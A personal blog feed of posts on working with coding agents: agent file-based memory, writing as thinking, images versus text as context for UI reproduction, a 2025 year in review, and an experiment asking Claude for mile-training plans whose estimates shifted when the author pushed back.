jq -n -c --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg s "User asked 'who am I?' - recalled from memory that user is Jack." '{timestamp: $ts, summary: $s}' >> memories.jsonl

Output

(No content)

And again we have two memory entries.

{"timestamp":"2026-02-18T19:49:33Z","summary":"User introduced themselves as Jack. Greeted them back."}
{"timestamp":"2026-02-18T19:54:58Z","summary":"User asked 'who am I?' - recalled from memory that user is Jack."}

Wrapping up

This is a pretty basic implementation, but it implements the most important part to give an LLM agent something that resembles memory - it reads and writes to a file system that persists beyond the agent’s sessions. This approach allows the agent to catch up on what has already happened. In our example, we allow the agent to decide what to read and write to and from memory. You can be more opinionated about this if you want, using a framework like claude-agent-sdk where you have more control over the agent’s prompt and can do things like programmatically include the last N entries in the prompt.

For more on stateful agents, I recommend this post by Tim.

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Director, Not Performer

Thu, 29 Jan 2026 19:41:15 GMT

What is it to build software with coding agents? It’s something distinctly different than writing code by hand.

One of my past, personal struggles with software was that I always had ideas for what I wanted to build. Game concepts, personal tools, articulations or variations on well known and nascent concepts. For more than a decade I tried, on and off, to build these little projects. But more often than not, I got stuck before reaching the endpoint I had in mind.

The process was time-consuming and frustrating. Often what drove me away was the feeling I was “working”. Working in the sense that I felt like I was at work, doing my job, as a software engineer. I didn’t want to slog through difficult debugging in my free time. There are parts of software engineering that I find fun, but this was never one of them.

I was never inspired by the chance to learn another programming language or framework. I witnessed my peers and the culture doing this often. I tried to play that part, but it was never a true affinity of mine. My creativity was constrained by my level of skill at producing code syntax.

I think language models and more recently coding agents taught me that I don’t like to write code most of the time. What I like is the construction of an experience on a computer that is just how I want it.

The emergence of coding agents has changed the balance of building software entirely. The shift has been one from performer to director. From instrumentalist to composer. From drawing to sculpting.

With a blank page, I always struggled to find traction. But with a hunk of clay, I begin to sculpt.

I’ve been using language models to produce most of my code for about two years now. The most meaningful jump I can recall was the release of claude-3.5-sonnet, but even before then, I was using a hybrid of Cursor chat and ⌘K with gpt-3.5-turbo to swoop and tease my way through projects in languages and frameworks with which I was only loosely familiar. The model made plenty of mistakes, but I had the debugging foundations to solve the problems the models couldn’t. And most importantly, I was moving forward and seeing progress. Building in languages I haven’t classically learned, shipping things I actually wanted to use.

I finally have a tool that operates at the level of abstraction that I do. I need only to roughly articulate an idea in words to visualize and play with the shape of it. I can poke, refine, and tweak. Sand rough edges, polish and finish.

This shift in approach has been transformational. I know I will never return to prior methods of assembling software. Even running a model locally is better than the prior status quo. And I have never had so much energy to work on my own projects.

There is an ongoing debate about whether agent coding can be relied upon to replace traditional software engineering techniques entirely. I would argue this focus misses the change that has occurred. Agent coding unlocks a new type of software that can be written, at every level of skill of computer use. It used to be impractical to spend x hours building a personal recipe app. Now it takes those same x hours spread across sessions and most of the time is waiting for the agent to finish its work, then you validate the parts you care about.

This hands-off approach isn’t going to replace traditional software engineering techniques without significant changes in the way we think about the engineering process. Maybe that will happen with time. But today, it has made this new type of home-cooked software highly accessible. For a good result, you need to articulate what you want clearly, you need to verify the result works correctly, and you need to be persistent. It’s still effortful, but the agent-driven coding process is the order of magnitude change that was needed to shift the software-building status quo.

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I've Stopped Learning Programming Languages

Tue, 27 Jan 2026 13:30:09 GMT

In 2022, I had recently started a new job as a software engineer. As usual, there were a lot of new things to learn and one of those was getting comfortable working in a programming language that I hadn’t used professionally before.

My process with getting familiar with a new language at that time was pretty consistent. Find a good text on it, find a koans repo to work, and start reading and experimenting with existing codebases. The combination of all of these helped me build a mental model and muscle memory for the language’s patterns, the codebase structure, and thinking pathways for reasoning about the system to debug or change it. This process typically took place over a few months, at least.

New parts of my process

I don’t follow this process anymore. When I encounter a new repository or language, I start exploring the code with a coding agent. I prompt the agent with questions and have it generate artifacts walking me through the parts of the system that demonstrate how the system works. Then I trace through the code myself following these artifacts as a map. They’re not always right, but they’re a useful jump off point. They’re also incredibly malleable and composable.

Say I need to add a new Kafka consumer to a system. I can use the coding agent to research how Kafka integration currently works. I can then verify that the explanation is grounded in the actual codebase. Then using that same research, I can draft a plan to make modifications, grounded in the research, which I’ve validated. Finally, I can use the agent to implement the plan, which I will review.

This is a distinctly different way of building software systems. It may not be the way you like to build software, but it’s a vast improvement for me. I am still personally responsible for the code changes I propose. I’m responsible for following the codebase’s conventions and patterns. I’m responsible for respecting the time of the person who is reviewing my changes.

The responsibility hasn’t changed. What has changed is how I get to the understanding.

How my thinking has changed

When I’m exploring a codebase with an agent, I’m asking questions about the codebase and the agent is leading me to places where the answers are. It’s creating a sort of map and then I’m following the directions, to see if they actually lead me where they claim.

When I was learning languages via koans, I was practicing the muscle memory necessary to reconstruct the syntax of the language by typing. I had to translate ideas into code, and translating them into code requires knowledge of the syntax of code. With a coding agent, I only need to translate my ideas into words. Maybe the idea’s implementation is grounded in specific parts of the system that I have to reference by name, but I don’t have to reference them by syntax ever if I don’t want to.

Three years ago I would have said “understanding code” would mean that I’ve traced it from top to bottom. I know how data flows through the layers of the codebase, from RPC to landing in the database. These days I think I would define understanding similarly, but what’s changed is my confidence in my ability to rapidly identify the paths.

Even in unfamiliar syntaxes, I’ve generally found that the maps that a coding agent can build allow me to ground myself rapidly in an unfamiliar system and even in an unfamiliar language. Now I worry less about whether I understand code before I have to start working in it because I can reliably have it explained to me in the context I care about when I encounter it. The maps and understanding can be just in time, and highly relevant to the problem I’m trying to solve.

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Why Write

Mon, 19 Jan 2026 21:46:58 GMT

I enjoy writing. Most of my writing here is about software and technology, but lately I’ve been struggling.

I’ve been sculpting so much software with coding agents lately, and most of this is a process of sculpting text documents (like skills) or specs or plans, then showing them to an agent to get an implementation or instill a capability.

What I produce looks very similar to writing. But the process feels very different.

For me, writing is thinking, and a lot of that thinking has been happening in the form of writing prompts, as I steer an agent to build software or capabilities for itself. When you use an agent to build a spec to implement some software, you’re augmenting your thinking with the agent. You describe the seed of the idea and the agent fills in the rest. If you want good results, you read and refine that spec to ensure it meets your vision.

That’s all well and good, but it’s not quite the same as writing, or at least how I see the point of writing.

For me, the point of writing is to think and communicate an idea. Agents allow you to extend that ability to dizzying heights but they don’t replace the process.

The thing that is weird about writing about software now is that it is now nearly the same thing as building the software itself. One is a blog post, the other is a prompt or spec. These days, I take blog posts and pass them into an agent as prompts to play with the ideas myself and see how they work and feel.

I’m deeply grateful to those who publish their work and experimentation for others to learn from. What I am personally struggling with is the point of writing about the software itself.

Take any moderately sized software project or smaller. If you sent an agent to analyze the repo, it could probably write up a spec you could give to another agent that would implement a similar version for you. In that way, software is now kind of like cooking. There are good and bad ingredients for sure, but the steps you follow to get a meal are more or less the same. A good meal is a different story, of course.

I’ve tried reading the spec of a software project created by a coding agent. The vanilla version is usually pretty unpalatable. But agents just do what they’re prompted to do. What if I tried to make the spec more enjoyable to read?

Using the source code and git history of a recent project, I used an agent to generate a narrative about the project and its development. And it was terrible. The agent stated how the system used to work, what was accomplished, and how it works now, but it was nothing you’d want to read. You might read it to understand how to build a similar system, but you wouldn’t read it for enjoyment.

It started with a blog post. January 2nd, 2026—a spec document and a question: what would it take to give an AI agent persistent memory?

The first attempt was overengineered. Temporal workflows, complex state machines, the whole apparatus. By day 5, we’d scrapped it for something simpler…

The early commits tell the story: “Add semantic memory system.” “Rename perch time to drift time.” That second one mattered more than it sounds—naming the autonomous exploration sessions gave them identity…

Then the friction started teaching us…

135 commits later, we have a self-deploying, self-improving architecture. When the agent commits code to its own repository, GitHub Actions builds a new container image, Fly.io deploys it, and the next message runs on the updated code. The agent modifies itself and lives with the consequences.

It’s a bad movie trailer.

I have no doubt some of you have language models writing your newsletters, in your voice, using lots of prior examples of your writing. I’ve done similar exercises like this and I know it can work and it seems to be compelling enough that people read it too. I guess what it comes down to is that I like telling stories about things I’ve tried and what I’ve learned. I’ve been inspired by many others who have done the same and it’s helped bring me to where I am today.

So I am going to do my best to keep writing, despite how rapidly everything is changing - calling out what works for me and what doesn’t. I’ll continue trying to be a realist in the face of all the hype. And I’ll keep doing fun and cool and weird stuff because not everything is about growth and dollars.

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Year in Review: 2025

Wed, 31 Dec 2025 15:00:12 GMT

This year was another year of wild change in technology and software engineering. It felt like the year flew by yet so much happened during it.

In 2024, my approach to building software was thoroughly transformed with the release of claude-3-5-sonnet and use of Cursor’s Chat/Agent to build software.

The breakneck speed of iteration and improvements did not stop in 2025. This year, I shifted to working more with Claude Code, and most recently claude-opus-4-5, but with meaningful improvements along the way from Sonnet 4 to Opus 4.1 to Sonnet 4.5, with some experimentation with Gemini 2.5 Pro and Gemini 3 Pro preview along the way.

Increasingly, while I have a preferred agent harness and model that I work with, I’ve found that I can comfortably operate with most leading edge models and most tools to accomplish my goals building software. With an underlying, first principles approach to how an agent harness works and the tools and context it has access to, you can go far. The features and improvements in capabilities continue to increase the ceiling of what is possible. Claude 4.5 Opus was yet another improvement in the autonomy and accuracy with which I found I could delegate to a coding agent to accomplish a task I specified.

Coding with agents is so much fun

I often tell those interested in how I work with agent coding tools that they both allow me to explore an idea to see if it’s interesting enough to continue working on while simultaneously serving as a continuous inspiration for me. Any idea I can turn into words or text is a jump off point for exploration in code. If something feels like it’s working, I get pulled in and see where it takes me. This exploration leads to more learning and ideas and this cycle continues.

I probably spent in excess of 1,000 hours working with coding agents this year and I feel like I am still only scratching the surface of the changes that are to come with regard to how people interact with computers and how computers are used as tools. With the “old way” being only 2-3 years in the rear view mirror, my process of building software and using a computer as a tool has continued to change meaningfully every 3-9 months.

Review of last year’s review

It’s hard to appreciate the speed of change while being swept up in it but re-reading last year’s review has given me some insight.

Reflecting on the aims I set for this year, here is how those manifested in my focus and work.

Continue building machine learning foundations

While I didn’t continue my work on the Fast.AI course, I had the opportunity to use an embeddings model to surface unstructured text in a dataset that previously was unreviewed due to lack of resources. My sense is embeddings continue to be an underappreciated element of the machine learning stack and can go quite far in use for data analysis and semantic search. You don’t always need a chatbot - you can just write queries and scripts.

Get comfortable with an LLM eval stack

I intentionally did not invest in a particular eval tool. In my work creating a multi-stage, complex document analysis LLM pipeline, my takeaway has been that in many cases, to use an LLM eval tool, you need to transform the shape of your problem into a shape the eval tool accepts. Given the ease with which one can now build bespoke software, I’ve leaned more heavily into building purpose-specific tools for myself and my team to address our problems specifically, and in a way we can also modify going forward. This has felt like a good tradeoff for the time being. Also, we’re not building a chatbot and LLM eval tools seem to heavily index on supporting chatbots.

Continue exploring alternate LLM UX through Delta and other experiments

At the beginning of the year, I had a hotkey setup that would open a browser tab to the Anthropic Workbench. My preference has generally been to try and make direct API calls to LLMs rather than use consumer chat wrappers like Claude.ai and ChatGPT, because I want more direct control of things like the system prompt and don’t want my prompts to be influenced by the hidden prompt of the product. The results were better (for what I usually needed), but I was never happy with how slow it felt to load the page in the browser. Additionally, usually my workflow was something like

copy content
hotkey to open the browser
sign in if I got booted
paste
write a prompt
submit

And this only worked for Claude models. If I wanted to use Gemini or OpenAI models, I had to go to a different playground.

It was fine. But because it was something I do so often, the friction became irritating.

From this frustration emerged Tomo, a little Swift app I built with Cursor and Claude Code to call the OpenAI chat compatible APIs and with baked in support for popular model providers. The killer feature for me was hotkey summoning, which allows you to copy text or take a screenshot with hotkeys that also summon the Tomo chat window with the context automatically attached. It fuses my previous workflow together and allows me to stay in flow.

There is no agent or context integrations. It’s light and fast. I love it.

Engage more with folks working on applying LLMs

This year I said “yes” to far more things and was substantially more proactive about reaching out to folks doing work I thought was interesting. I only regret not doing this sooner.

I have several recurring 1:1s with people who are genuinely inspirational to me, and this is a huge motivator and support if I’m finding myself stuck, confused, or lost.

Migrating my blog

As I also noted in last year’s review, I didn’t redesign or rebuild my blog. In 2025, improvements in coding agents made this feel like not as big a burden. This current blog was originally launched as a separate site at https://thoughteddies.com. I used Astro to build a handful of interactive posts, using Astro and MDX to embed modern Javascript frameworks in my post content. By July, I was ready to migrate my Hugo site fully and wrote about that here.

In 2024, I avoided this migration because I didn’t want to take time away from writing and experimenting. In 2025, the coding-agent-assisted migration was easy enough I didn’t even worry about it. One day I woke up with a bit of motivation and energy to do it and that was all it took to see light at the end of the tunnel and make it through.

Coding agents, ambition, and energy

The bar for the size and complexity of tasks and projects that coding agents can complete or assist with continues to rise. Ideas and projects I might have previously considered writing about can now be realized in an hour or less of prompting.

Knowing I’ll be able to rapidly see progress on an idea is usually a great motivator to get started. Even though more than ever is doable in a fixed amount of time, there are still limits. Complex projects take time, planning, and persistence. Not everything can be “one-shot” and I suspect this will always remain the case. To build something aligned with your personal vision, you have to explain how it works. With a coding agent, if you don’t explain something, the agent will fill it in and since it can’t read your mind, you’ll likely need to iterate until you get closer to what you personally had in mind. You can figure this out before you start coding or during, but to make the thing you want, you have to externalize your thinking as much as possible so the agent can implement to those specifications.

Other things I did this year

Created a link blog
Refined my process for teaching others to code with an agent
Created a “vibes” site for hosting little one-off apps
Created a GitHub activity inspired /activity page for this site
Wrote a guide on agent coding strategies midyear that seems to have held up pretty well
Experimented with zoomable documents for progressive disclosure of content
Explored LLM conversation branching with embeddings visualization
Built interactive document citations using Claude’s citation feature
Wrote about using images as context for doing design with coding agents
Built an Escape Room-influenced, retro computer game with my cousin
Built several games, one currently in progress and presently at ~100,000 LOC, 100% coded with Claude Code and Opus 4.5

Content by the numbers

(Calculated with this script)

Category	Posts	Words
🏗️ Projects	2	525
📖 Posts	20	28,227
🌱 Garden	1	615
✏️ Logs	104	16,327
📝 Today I Learned	22	18,822
Total	149	64,516

Things I aim to focus on more next year

Getting more structured about my process for working with agents and how I teach others to use them
Experimenting with personal content curation for myself, using RSS feeds
Possibly sharing the game I’ve been working on
Experiment more with local, open source models for coding

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Images as Context

Sat, 06 Dec 2025 15:00:12 GMT

Working with coding agents has been a dance of context management. These days, if an agent loop isn’t producing the result I want, it’s more often than not a problem of context rather than a shortcoming of the language model or agent scaffold/harness.

Because of this, I’ve started thinking about context as the object of value in building software and doing things with a computer. Of all the ideas that exist in the universe, the context you are working with provides the directional leanings for the problem you are dealing with and the implicit shape a solution could take.

Context also comes with a variety of information densities. This week, I tried to provide the Macintosh Human Interface Guidelines from 1992 as context to Claude Code to coax out a CSS library that would allow me to style a website with the design patterns from Mac OS 9. After chopping up the 400+ page PDF into single-page PDFs, Claude Code navigated these pages via the table of contents it found on one of those pages, then created a markdown file with its findings from the design.

The results were far from pixel perfect, but the concept, that context can be grouped, refined, transformed, and carried around between agents crystallized for me from the experiment.

My working thesis is the agent struggled to implement pixel perfect design, not because it can’t, but because I hadn’t provided it a well defined design specification. And what I had provided had relatively low information signal to solve that problem.

However, if I were to refine a design specification out of this more diluted context, that could become a high information density piece of context that would be portable to communicate the idea with clarity to any agent in the context of any problem I was trying to solve using this design system.

The image problem

The context problem is not quite that simple though.

When it comes to reproducing something in code, an image is rarely enough to get a pixel perfect design. Whereas language descriptions, especially those with specific measurements, seem to get better results.

I’m not the only one who has noticed this behavior.

Here’s a straightforward example I tried for this screenshot of a text document in Mac OS 9, prompting claude-opus-4-5-20251101.

User

given the provided image of the text editor in mac os 9, output a pixel perfect reproduction in html and css

Here’s claude-opus-4-5-20251101’s output.

untitled

Here is gemini-3-pro-preview’s output.

untitled

I chose these specific models because they are the top performing models on DesignArena.

Both results are obviously inspired by the source image, but also not close to pixel perfect. And I suspect we’re not exactly starting from zero-knowledge in this case. These models know roughly what Mac OS 9 looks like and can describe it in language:

… Key Visual Elements

Window Design

Light gray textured backgrounds with subtle horizontal pinstripes

Rounded rectangular title bars with a striped/ridged texture …

At least in broad strokes.

While I give Gemini credit for doing the best job I’ve seen on this particular task by a language model, it’s still not close to a pixel perfect reproduction.

Words work better

So how do we do better? We could modify the image to annotate focus points for the model, but the image is what we want. The model just isn’t quite giving it to us.

So what can we do? We can use words.

User

given the provided image of the text editor in mac os 9, output a pixel perfect reproduction in html and css. take particular care in crafting the buttons in the top right corner. these are not modern operating system buttons. the right most has two black horizontal lines going through the center with a small gap between them. the button to the left of that has the upper left hand quadrant outlined in black. be sure to get these buttons pixel perfect to the description.

With Gemini 3 Pro Preview, we get this:

untitled

Not exactly right, but meaningfully closer (as far as the buttons are concerned). The words help get the model closer to the desired result. This is the pattern we’ve become familiar with when working with coding agents.

The image alone is not quite sufficient to get the desired output. We need to follow up with words to improve clarity if we want pixel perfect.

This recognition is informative because it suggests that text-based representations of concepts are more effective for getting models to produce the desired output in code. Text provides an easier means to steer incorrect output and seems to capture a specification more losslessly and portably than an image.

Since we’re looking for language-like output, language input seems to be the most effective way to steer. In the case of an image model, like Nano Banana Pro, if you want a near pixel perfect reproduction of an image in a modified environment, you just give the model the image.

User

place the provided image of the text editor in mac os 9 in a hyper modern operating system of the future in 2095. keep the provided window design and buttons pixel perfect.

Assistant

Note: the model still isn’t quite perfect as it adds disabled arrows on the horizontal scrollbar that aren’t there in the original image.

If you want an image, give an image. If you want text, give text.

The state of the art in both areas is quite good.

Images are helpful but not (yet) sufficient context to produce code

Images are pixels on a screen. If you want to introduce a new visual element to an image, you work in these pixels and these pixels alone. At least, until models start creating images with layers.

To reproduce an image as a website, a translation of the image into code that a browser renders is necessary. That feels a lot more complicated to me.

It’s possible this is, in a way, a data problem. Based on my research, there aren’t that many attempts to reimplement the Mac OS 9 design system on the web. If there were, the model could probably execute this task without issue, roughly reproducing from example projects.

The models’ failures seem like failures to generalize for some edge cases. Mac OS 9 button icons are unusual looking. Nothing uses these today. The UI pattern did not endure.

A model can be prompted with words to reproduce button designs like this. But they balk when asked to describe or reproduce it themselves given the image alone or even just the concept, e.g. “describe the two buttons in the top right corner of the windows in the Mac OS 9 Platinum UI”. They just don’t seem to really know what they are the way they seem to know about other things in depth.

This challenge continues to be an interesting one that shows up as I attempt to transform ideas from context into different code projects.

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On Writing, Speaking and Thinking

Tue, 02 Dec 2025 21:35:45 GMT

Have you ever observed someone try and demonstrate how they use a coding agent? The presenter will usually introduce the concept of an agent, discuss the idea of a software harness wrapping a language model, and then will show an example of how it works.

When they make the transition from explaining to demonstrating, a visceral change occurs. They begin dictating what they are typing into the agent chat window.

Create a React, Typescript application, using the Tailwind CSS framework …

Usually monotone. Usually with a slower cadence than their natural speaking speed. Usually completely different from how they were previously addressing the audience.

The communication style is completely different.

Frequently witnessing this shift in these presentations was what first gave me more insight into the differences between writing and speaking, and why I think I better understand this idea now, after being introduced to it by Paul Graham.

The tension of writing while speaking

The reason I believe it is awkward to type a prompt to an agent while presenting is because you’re stretching your mental bandwidth trying to perform two different activities at once. On one side, you’re presenting or performing. You’re trying to deliver certain material to an audience that they can follow and understand. You’re thinking about your tone, pacing, and ensuring you’ve mentioned all your talking points.

On the other, you’re attempting to craft a specific thought. Because you’re putting words to an idea, you now need to pick the words. Your mind shifts to considering which words you should choose.

It seems this mental shift also causes most people to downshift in speed. From what I have observed, it seems

most people type more slowly than they speak
putting words on a “page” invokes an inner critic in a way that is less common while speaking

But the disconnect is actually deeper than this.

As a presenter, you already know what you’re going to say, and the change in speed is due to typing more slowly than you speak. If you’ve preemptively come up with your prompt, writing it or pasting it into the agent is not really representative of the process you followed to create that prompt.

Witnessing either feels unnatural and confusing to an audience member. You are showing the final product of your thinking process, not the process itself.

A better version of this demo would be building an under-prescribed idea in real time and working through the ambiguities and clarifications required to get a functional result.

Effectively using an agent to help you accomplish tasks requires you to participate in the thinking process.

Thinking is refining unstructured ideas

Writing lets you spend time refining and organizing unstructured thoughts. We can think of unstructured thoughts as stream of consciousness. The type of things you say as a response in conversation or doing morning pages, where you just write and don’t edit or delete anything.

The words and ideas that come from these processes often contain the raw material you might use to refine your thoughts, but they are scattered and fuzzy, lacking coherence and consistency. If want to clearly communicate an idea, you need to refine these.

And how do you do that? You put them into words then edit and structure them.

The writing process brings clarity to thought. Writing is thinking.

Why speaking isn’t really thinking

Think of a time you were having a debate and felt like someone said something you didn’t quite have a good response to. You felt unprepared and maybe gave an unconvincing response or maybe tried to change the subject to deflect from that fact.

Later, you probably thought of a response that would have been better, you just hadn’t thought of it in the moment.

Speaking is linear.

If you want to go revisit something you’ve already said, you must pivot a conversation back to an earlier point. To reopen, revise, or revisit a matter that seemed settled. To bring your conversation partner or audience along to ensure they are following you through the change in topic.

Non-linearity in speaking is an illusion. You are always appending words to the transcript of time.

When speaking, you’re confined to the best you can do in the moment, given the constraints. If you can’t think of the perfect word, you might substitute a passable replacement. You might use several words to describe your idea. You likely won’t pause in silence while you think of the right word.

Speaking uses mental bandwidth you might have allocated to thinking. When you start saying words, you only have so much time before you need to say other words. That is just how speaking works. You’re freestyling your abstract thoughts. It’s hard to say things exactly as you want given these constraints.

If you need to communicate yourself clearly through speech, you probably will prepare and practice beforehand. You’ll structure and organize your thoughts. You will consider your argument, counterarguments, and your audience. When you speak your ideas, you will have already done most of your thinking and can focus on delivery.

In conversation, you never quite know what your conversation partner will say. You spend mental bandwidth listening and processing what the other person is saying. When it’s your turn to speak, you will have just finished hearing the thoughts of your partner and then you need to verbalize your own thoughts to respond.

How can you listen, think, and figure out what you’re going to say all at once?

At best, your mental bandwidth is split. In practice, you are reacting. With practice and the preparation of experience, you respond coherently and clearly. But it’s hard to imagine doing your best thinking under such tight mental constraints.

Writing is nonlinear

Your best idea is unlikely to be your first idea. Your clearest thought is unlikely to be your first.

It’s challenging and effortful to think things through. It’s often complicated, requires research, presents tradeoffs. Most things are complicated if you take the time to look at them closely.

Writing is a better fit than speaking for thinking because writing allows for nonlinear interaction with ideas. With thoughts laid out in words, you can fluidly jump between paragraphs, reorder how concepts are introduced, swoop in and change a single word or phrase for clarity.

You can sit with your work, take breaks when you’re tired, and return when you are inspired. You can evolve and define your ideas. You think.

Writing changes your ideas

Writing is thinking because when you write about something, your ideas change with the writing. You are a slightly different person at the end of writing a work than you were before.

Writing needs to be focused, in part, to ensure you can actually stop writing. To provide a reasonable spot to conclude work.

The writing that feels most worthwhile leaves me with as many new questions as answers.

Yet this always means a writer is cursed to spend forever chasing their tail, writing to think, writing to think.

Writing and agents

When working with agents, the most common difficulty I hear when someone feels they are not having success is that the agent is failing to do what they want it to do. Typically, this challenge results from not having done the necessary thinking about what is to be done.

Knowing what you want is the only way to collaborate successfully with a coding agent. These tools are trained to be instruction following. In a void of instructions, they often make median, flavorless decisions. In a void of context, they attempt to fill in the gaps as best they can.

Context engineering (a topic worthy of its own post) is a downstream application of knowing what you want.

You can only begin to know what you want by thinking about what it is you need to accomplish.

You write to do this thinking. As you write more, you think more and refine your approach.

So if you are struggling getting a coding agent to do what you want, think about what it is that you want to accomplish. Write it down.

Once you’re finished, you will have done your thinking and you will have written your prompt as well.

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Running a Mile with LLMs

Wed, 10 Sep 2025 17:07:06 GMT

I was not planning on writing about this but after reading Sascha’s post, I decided it could be interesting because his demonstration on what it takes to build knowledge happened to relate to prompting a language model for a fitness routine:

This drives us to one of the most important conclusions of the entire field of note-taking, knowledge work, critical thinking and alike: You, not AI, not your PKM or whatever need to build the knowledge because only then it is in your brain and you can go the next step.

Let me try to give you a demonstration of the issue:

I asked ChatGPT to design an optimal weekly training schedule for health span and fitness.

and then he proceeds to point out how unless you know some things, you have no way to evaluate whether the model’s plan is any good, which I agree with.

I went into the following experiment knowing there was a decent chance the language model would give me bad advice. I was mostly interested to see what would happen.

Training for a mile

I used a few different language models to design a training schedule to run a single mile, as fast as I could do it.

I’m a relatively seasoned athlete, so this was nothing like a couch to 1 mile training plan. However, I’ve never intentionally trained for a short distance running race. I’ve only ever run as cross-training for other sports.

So I created a Project with Claude Opus and started to see what a training plan might look like.

Here’s an example of asking an LLM to design a training schedule for running a mile. I’ve summarized the assistant responses, but ensured the training session suggestions were true to the original recommendations. The actual model responses were even longer as Claude had a lot to say about these plans.

2025-08-18

User

Hey I want to train to run a mile in under 6 minutes. Come up with a training plan for me.

Assistant

Phase 1: Base Building (6-8 weeks)

Build tolerance for short rest intervals safely.

Main Sessions (2x/week):

Start: 4-5 x 400m with 90s rest at sustainable pace
Expect 92-96 seconds initially
Weekly progress: Add 1 rep OR reduce rest by 5s OR improve pace by 2s
Only change ONE variable per week

Easy Days (2x/week):

20-30 minute conversational-pace jogs
Builds aerobic base and aids recovery

Phase 2: Speed Development (4 weeks)

6-8 x 400m at 86-90s with 60-75s rest
Begin only when consistently hitting 90s with 90s rest

Key Guidelines:

Maintain current cycling/weights
Take 1-2 complete rest days weekly
Start conservatively and progress slowly
Keep easy days truly easy
Prioritize consistency over intensity

Success Target: Complete 8 x 400m at 88-90s with 75s rest consistently before attempting mile time trial.

So I gave the main sessions a try and they went ok! I actually felt like I was ready for a bit more at my fitness level, so time to do some prompt engineering.

Recalibrating based on my fitness level

2025-08-18

User

… stuff about me, recent workout performance, cycling wattage, etc. …

Help me come up with a training plan over the next 2.5-3 months to run a 6 minute mile.

Assistant

Your cycling fitness shows you have the cardiovascular base needed. A 6-minute mile requires holding 10 mph for 6 minutes - we need to build running-specific speed and neuromuscular power over 12 weeks.

Phase 1: Base Building (Weeks 1-4)

Weekly Structure:

Monday: Easy run (30-40 min)
Tuesday: 6-8 x 400m at 85-90 seconds (90 sec rest)
Wednesday: Cycling/weights
Thursday: 20 min tempo at 7:00-7:30/mile pace
Friday: Rest or easy cycling
Saturday: Long run (45-60 min easy)
Sunday: Weights or rest

Phase 2: Speed Development (Weeks 5-8)

Weekly Structure:

Monday: Recovery run (25-30 min)
Tuesday: Progress to 8 x 400m at 80-85 seconds, then 4-5 x 800m at 2:50-3:00
Wednesday: Cycling
Thursday: 3 x 8 min at threshold pace (6:45-7:00/mile)
Friday: Rest
Saturday: Progression run
Sunday: Explosive weight training

Phase 3: Race Prep (Weeks 9-12)

Weekly Structure:

Monday: Easy recovery (20-30 min)
Tuesday: Race-pace work - progress to 3 x 1200m at 4:30 (5:00/mile pace), then 2 x 1 mile at 6:15-6:20
Wednesday: Easy cycling/rest
Thursday: Short tempo or easy run
Friday: Rest
Saturday: Time trials (taper in week 12)
Sunday: Easy run or rest

Key Points

Pacing: Target even 90-second splits per 400m lap
Testing: Mile time trial every 3-4 weeks (expect 10-15 second monthly improvements)
Recovery: Maintain cycling, add explosive strength work 1-2x weekly
Taper: Reduce volume 40-50% in final week while maintaining intensity

With consistent training, your cycling fitness gives you the foundation to achieve a 6-minute mile within 3 months.

Looking back at this plan with the benefit of hindsight, I realized I didn’t even bother looking at phase three of the plan, which looks very ambitious to me, even in retrospect. To not spoil the journey, I’ll get back to this later.

I let the model know about my recent workout performance to see if it had anything to say about it.

2025-08-18

User

Last week: 90 90r 90 90r 89 90r 88 90r 91

Today: 75 90r 88 90r 89 90r 88 90r 88

Assistant

You’re ahead of schedule! Your consistent 88-89 second 400m reps show excellent improvement, but that 75-second opener was too fast for this training phase. While impressive, going 15 seconds faster than race pace can compromise your workout and doesn’t build the specific endurance needed for a 6-minute mile.

Next Week’s Workout:

6 x 400m at 85-87 seconds
Start conservative (87s) for reps 1-2, then drop to 85-86s if feeling good
90-second rest between reps

2-3 Week Progression:

Week 3-4: 7-8 x 400m at 83-85 seconds, add weekly 800m time trial
Week 5-6: 5 x 800m at 2:50-2:55 (key workout for bridging to 6-minute mile)

Bottom Line: You likely could run 6:15-6:20 right now with proper pacing. That 75-second speed shows you have the raw ability - focus now is on controlled, sustainable pace. Every rep at 85-90 seconds builds the exact endurance adaptations you need. Save the blazing fast reps for later phases with full recovery.

The model felt pretty good about my performance. I was having some pacing problems and it called that out as well. It even threw out a guess on what my mile time would be if I made an attempt at my current level of fitness.

I was seeing improvements and feeling better in the workouts. It felt like I was on some kind of right track, so I kept at it.

2025-08-26

User

Here was week 2 from today:

82 90r 90 90r 85 90r 88 90r 84 90r 86

Assistant

Performance Update: Crushed Week 2 with a 3-second improvement! Week 1 averaged ~89 seconds, Week 2 averaged ~86 seconds. You’re showing Week 4-5 fitness ahead of schedule thanks to exceptional aerobic adaptation.

Next Week Training Options:

Option A (Recommended): 7-8 x 400m @ 83-87 seconds with 75-second rest Option B: 4-5 x 600m @ 2:10-2:15 with 90-second rest

Accelerated Timeline:

Week 4: 8 x 400m @ 82-85s with 60-second rest + 1200m time trial
Week 5-6: 5-6 x 800m @ 2:45-2:50
First Mile Time Trial: Week 4 (predicted 6:15-6:25)

Current Mile Fitness Estimates:

Current: 6:20-6:30
Week 4: 6:10-6:15
Week 8: 6:00-6:05
Week 12: Sub-6:00 achievable

This Week’s Focus:

Thursday tempo: 6:45-7:00 pace
Saturday long run: 7:30-8:00 pace (easy)
Add 4 x 100m strides after Monday’s easy run

Watch for: Achilles/calf tightness and shin splints as speed increases.

The 6-minute mile goal is looking very achievable—possibly by Week 8-9 rather than Week 12!

This threw me off. Based on where I was at, these goals felt very ambitious and I wasn’t feeling good about it. I assumed the model was painting a rosier picture than reality based on past experience of models making things up and generally being wrong and unreliable about all sorts of things.

I had doubts

2025-08-26

User

I need you to be realistic

Assistant

Reality Check

The Gap: While your 82-86 second 400m repeats with 90 seconds rest are solid, there’s a significant difference between interval work with recovery and holding 90-second laps for 4 consecutive laps without rest.

Current Fitness Assessment:

You can hit 82-86 seconds WITH full recovery
6-minute mile requires 90-second laps WITH NO recovery
Realistic current mile time: 6:45-7:00

Realistic 12-Week Timeline:

Week 4: 6:35-6:45
Week 8: Breaking 6:30 would be good progress
Week 12: 6:10-6:20 is a realistic target

Sub-6:00 Reality Check: This is a stretch goal requiring exceptional lactate buffering. Most runners need to comfortably run 75-80 second 400s to break 6:00.

Today’s Session Assessment:

Your 86-second average with 90 seconds rest shows you’re exactly where you should be for Week 2, but the brutal math reveals the challenge: you’re running faster than goal pace WITH recovery, while the goal requires slightly slower pace WITH zero recovery.

Honest Prediction: Based on current performance, you’re tracking toward 6:25-6:35 by Week 12.

Hmm ok. So I showed some doubt and the model followed my lead and pulled back where it estimated I would be. By design, I basically had no idea about where I should be, the type of progress I could expect, or whether the initial or secondary predictions were reasonable. The points about rest between intervals made sense considering I didn’t have enough experience or knowledge to push back against them.

